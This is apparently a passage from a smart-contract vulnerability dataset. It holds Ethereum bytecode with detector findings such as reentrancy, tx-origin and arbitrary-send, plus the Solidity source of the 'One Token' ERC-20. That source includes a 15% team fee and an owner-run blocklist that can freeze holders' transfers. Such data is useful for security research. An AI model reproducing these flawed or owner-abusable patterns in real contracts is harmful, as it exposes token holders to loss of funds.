2a600b5481565b3480156103d657600080fd5b5061029b6103e5366004611d6f565b61086c565b3480156103f657600080fd5b50600a5461040a906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b34801561042e57600080fd5b5061029b61043d366004611cc3565b610930565b34801561044e57600080fd5b5061022a600c5481565b34801561046457600080fd5b5061029b610473366004611d6f565b61099e565b34801561048457600080fd5b5061029b6109cd565b34801561049957600080fd5b5061022a6104a8366004611cc3565b6109fa565b3480156104b957600080fd5b5061029b610a15565b3480156104ce57600080fd5b5061022a600f5481565b3480156104e457600080fd5b506000546001600160a01b031661040a565b34801561050257600080fd5b506011546102bd9062010000900460ff1681565b34801561052257600080fd5b506102bd610531366004611ce0565b610a89565b34801561054257600080fd5b5061022a600d5481565b34801561055857600080fd5b5061029b610a96565b34801561056d57600080fd5b5061029b61057c366004611d6f565b610acc565b34801561058d57600080fd5b5061029b610afb565b3480156105a257600080fd5b5061022a610b9f565b3480156105b757600080fd5b5061029b6105c6366004611d96565b610bb7565b3480156105d757600080fd5b5061022a6105e6366004611db3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561061d57600080fd5b5061029b610c34565b34801561063257600080fd5b5061029b610641366004611e02565b610f7f565b34801561065257600080fd5b5061029b610661366004611e02565b611007565b6008546001600160a01b0316336001600160a01b03161461068657600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106e8338484611116565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461071157600080fd5b600a82111561071f57600080fd5b600a81111561072d57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107a257506001600160a01b03831660009081526004602052604090205460ff16155b80156107bb5750600a546001600160a01b038581169116145b1561080a576001600160a01b038316321461080a5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61081584848461123a565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610844908490611edd565b9050610851853383611116565b506001949350505050565b6000610867306109fa565b905090565b6000546001600160a01b031633146108965760405162461bcd60e51b815260040161080190611ef4565b6008546001600160a01b0316336001600160a01b0316146108b657600080fd5b600081116108fb5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610801565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106d0565b6009546001600160a01b0316336001600160a01b03161461095057600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106d0565b6000546001600160a01b031633146109c85760405162461bcd60e51b815260040161080190611ef4565b600f55565b6008546001600160a01b0316336001600160a01b0316146109ed57600080fd5b476109f7816118a8565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a3f5760405162461bcd60e51b815260040161080190611ef4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106e833848461123a565b6008546001600160a01b0316336001600160a01b031614610ab657600080fd5b6000610ac1306109fa565b90506109f78161192d565b6000546001600160a01b03163314610af65760405162461bcd60e51b815260040161080190611ef4565b600e55565b6000546001600160a01b03163314610b255760405162461bcd60e51b815260040161080190611ef4565b60115460ff1615610b725760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610801565b6011805460ff191660011790554260105568015af1d78b58c40000600e55680410d586a20a4c0000600f55565b600a54600090610867906001600160a01b03166109fa565b6000546001600160a01b03163314610be15760405162461bcd60e51b815260040161080190611ef4565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106d0565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b815260040161080190611ef4565b60115460ff1615610cab5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610801565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610ce83082683635c9adc5dea00000611116565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4a9190611f29565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb9190611f29565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2c9190611f29565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e5c816109fa565b600080610e716000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ed9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610efe9190611f46565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7b9190611f74565b5050565b6008546001600160a01b0316336001600160a01b031614610f9f57600080fd5b60005b8151811015610f7b57600060066000848481518110610fc357610fc3611f91565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610fff81611fa7565b915050610fa2565b6008546001600160a01b0316336001600160a01b03161461102757600080fd5b60005b8151811015610f7b57600a5482516001600160a01b039091169083908390811061105657611056611f91565b60200260200101516001600160a01b0316141580156110a7575060075482516001600160a01b039091169083908390811061109357611093611f91565b60200260200101516001600160a01b031614155b15611104576001600660008484815181106110c4576110c4611f91565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061110e81611fa7565b91505061102a565b6001600160a01b0383166111785760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610801565b6001600160a01b0382166111d95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610801565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610801565b6001600160a01b0382166113005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610801565b600081116113625760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610801565b6001600160a01b03831660009081526006602052604090205460ff16156113d75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b6064820152608401610801565b600080546001600160a01b0385811691161480159061140457506000546001600160a01b03848116911614155b1561184957600a546001600160a01b03858116911614801561143457506007546001600160a01b03848116911614155b801561145957506001600160a01b03831660009081526004602052604090205460ff16155b156116e55760115460ff166114b05760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610801565b60105442036114ef5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610801565b42601054610e106115009190611fc0565b111561157a57600f54611512846109fa565b61151c9084611fc0565b111561157a5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610801565b6001600160a01b03831660009081526005602052604090206001015460ff166115e2576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115f29190611fc0565b11156116c657600e5482111561164a5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610801565b61165542600f611fc0565b6001600160a01b038416600090815260056020526040902054106116c65760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610801565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff161580156116ff575060115460ff165b80156117195750600a546001600160a01b03858116911614155b156118495761172942600f611fc0565b6001600160a01b0385166000908152600560205260409020541061179b5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610801565b60006117a6306109fa565b905080156118325760115462010000900460ff161561182957600d54600a54606491906117db906001600160a01b03166109fa565b6117e59190611fd8565b6117ef9190611ff7565b81111561182957600d54600a5460649190611812906001600160a01b03166109fa565b61181c9190611fd8565b6118269190611ff7565b90505b6118328161192d565b47801561184257611842476118a8565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061188b57506001600160a01b03841660009081526004602052604090205460ff165b15611894575060005b6118a18585858486611aa1565b5050505050565b6008546001600160a01b03166108fc6118c2600284611ff7565b6040518115909202916000818181858888f193505050501580156118ea573d6000803e3d6000fd5b506009546001600160a01b03166108fc611905600284611ff7565b6040518115909202916000818181858888f19350505050158015610f7b573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061197157611971611f91565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ee9190611f29565b81600181518110611a0157611a01611f91565b6001600160a01b039283166020918202929092010152600754611a279130911684611116565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a60908590600090869030904290600401612019565b600060405180830381600087803b158015611a7a57600080fd5b505af1158015611a8e573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611aad8383611ac3565b9050611abb86868684611b0a565b505050505050565b6000808315611b03578215611adb5750600b54611b03565b50600c54601054611aee90610384611fc0565b421015611b0357611b00600582611fc0565b90505b9392505050565b600080611b178484611be7565b6001600160a01b0388166000908152600260205260409020549193509150611b40908590611edd565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b70908390611fc0565b6001600160a01b038616600090815260026020526040902055611b9281611c1b565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bd791815260200190565b60405180910390a3505050505050565b600080806064611bf78587611fd8565b611c019190611ff7565b90506000611c0f8287611edd565b96919550909350505050565b30600090815260026020526040902054611c36908290611fc0565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c7657858101830151858201604001528201611c5a565b81811115611c88576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109f757600080fd5b8035611cbe81611c9e565b919050565b600060208284031215611cd557600080fd5b8135611b0381611c9e565b60008060408385031215611cf357600080fd5b8235611cfe81611c9e565b946020939093013593505050565b60008060408385031215611d1f57600080fd5b50508035926020909101359150565b600080600060608486031215611d4357600080fd5b8335611d4e81611c9e565b92506020840135611d5e81611c9e565b929592945050506040919091013590565b600060208284031215611d8157600080fd5b5035919050565b80151581146109f757600080fd5b600060208284031215611da857600080fd5b8135611b0381611d88565b60008060408385031215611dc657600080fd5b8235611dd181611c9e565b91506020830135611de181611c9e565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611e1557600080fd5b823567ffffffffffffffff80821115611e2d57600080fd5b818501915085601f830112611e4157600080fd5b813581811115611e5357611e53611dec565b8060051b604051601f19603f83011681018181108582111715611e7857611e78611dec565b604052918252848201925083810185019188831115611e9657600080fd5b938501935b82851015611ebb57611eac85611cb3565b84529385019392850192611e9b565b98975050505050505050565b634e487b7160e01b600052601160045260246000fd5b600082821015611eef57611eef611ec7565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3b57600080fd5b8151611b0381611c9e565b600080600060608486031215611f5b57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f8657600080fd5b8151611b0381611d88565b634e487b7160e01b600052603260045260246000fd5b600060018201611fb957611fb9611ec7565b5060010190565b60008219821115611fd357611fd3611ec7565b500190565b6000816000190483118215151615611ff257611ff2611ec7565b500290565b60008261201457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120695784516001600160a01b031683529383019391830191600101612044565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122067e812396652540329239f70061c2389119db481d5d5332b534e4a08f2d59f6e64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,671 |
0x677cf00a19f99943b2ea93f22920c686123e7871 | /**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/*
https://t.me/One_token_Official
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract One is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "One Token";
string private constant _symbol = "OO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 15;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a919061298b565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612e2c565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e919061294f565b6105ad565b6040516101a09190612e11565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190612fce565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612900565b6105d7565b6040516102089190612e11565b60405180910390f35b34801561021d57600080fd5b506102266106b0565b005b34801561023457600080fd5b5061023d610c03565b60405161024a9190613043565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129cc565b610c0c565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612872565b610cbe565b005b3480156102b157600080fd5b506102ba610dae565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612872565b610e20565b6040516102f09190612fce565b60405180910390f35b34801561030557600080fd5b5061030e610e71565b005b34801561031c57600080fd5b50610325610fc4565b6040516103329190612d43565b60405180910390f35b34801561034757600080fd5b50610350610fed565b60405161035d9190612e2c565b60405180910390f35b34801561037257600080fd5b5061038d6004803603810190610388919061294f565b61102a565b60405161039a9190612e11565b60405180910390f35b3480156103af57600080fd5b506103b8611048565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a1e565b6110c2565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128c4565b611206565b6040516104179190612fce565b60405180910390f35b61042861128d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f2e565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610564906132e4565b9150506104b8565b5050565b60606040518060400160405280600981526020017f4f6e6520546f6b656e0000000000000000000000000000000000000000000000815250905090565b60006105c16105ba61128d565b8484611295565b6001905092915050565b6000633b9aca00905090565b60006105e4848484611460565b6106a5846105f061128d565b6106a08560405180606001604052806028815260200161370760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065661128d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1f9092919063ffffffff16565b611295565b600190509392505050565b6106b861128d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073c90612f2e565b60405180910390fd5b600e60149054906101000a900460ff1615610795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078c90612e6e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082030600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00611295565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086657600080fd5b505afa15801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e919061289b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090057600080fd5b505afa158015610914573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610938919061289b565b6040518363ffffffff1660e01b8152600401610955929190612d5e565b602060405180830381600087803b15801561096f57600080fd5b505af1158015610983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a7919061289b565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3030610e20565b600080610a3b610fc4565b426040518863ffffffff1660e01b8152600401610a5d96959493929190612db0565b6060604051808303818588803b158015610a7657600080fd5b505af1158015610a8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aaf9190612a47565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550633b9aca00600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bad929190612d87